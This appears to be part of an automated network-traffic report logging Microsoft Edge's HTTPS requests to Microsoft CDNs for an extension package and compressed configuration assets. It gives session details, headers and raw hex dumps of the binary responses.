2024-11-24 18:11:50 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733076707&P2=404&P3=2&P4=kVI77nE54YXSm0zQJmsBtYPAISwsuGdpi%2bHNo%2fivdWwiQMsSRH7zxFYx0FjJ1sGR%2b1nCxM4tskugYnRQLsbVtg%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: CbYtbpM9QWmNzwM+FOoFgE Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:51 UTC	1254	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 908d6f63-fdc8-4d51-8af4-65636b942c24 MS-RequestId: d1afb2a3-7551-4c56-ae30-5d3fb7888005 MS-CV: hLhbpFr7mJo+llIQz86iIS.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86399 Date: Sun, 24 Nov 2024 18:11:51 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.44.134.22,b=572479808,c=g,n=US_NJ_PISCATAWAY,o=20940],[c=c,n=US_NJ_PISCATAWAY,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.16862c17.1732471911.221f5940 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-24 18:11:51 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49794	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:50 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:51 UTC	556	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:51 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 1f19819d-a01e-0048-40fc-3d5a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181151Z-15b8b599d88m7pn7hC1TEB4axw00000004xg000000003ag2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:11:51 UTC	15828	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 6b Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:k
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 02 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 f5 Data Ascii: g9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 03 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-24 18:11:52 UTC	16384	IN	Data Raw: 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 ec Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-24 18:11:52 UTC	16384	IN	Data Raw: 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 36 Data Ascii: .Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#6
2024-11-24 18:11:52 UTC	16384	IN	Data Raw: 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 85 Data Ascii: \m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-24 18:11:52 UTC	16384	IN	Data Raw: 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 f6 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-24 18:11:52 UTC	16384	IN	Data Raw: 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f 41 Data Ascii: dqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49793	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:50 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:51 UTC	576	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:51 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 25a254a2-e01e-004f-5920-3eac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181151Z-174c587ffdfmlsmvhC1TEBvyks00000004wg00000000g1q4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:11:51 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-24 18:11:51 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT 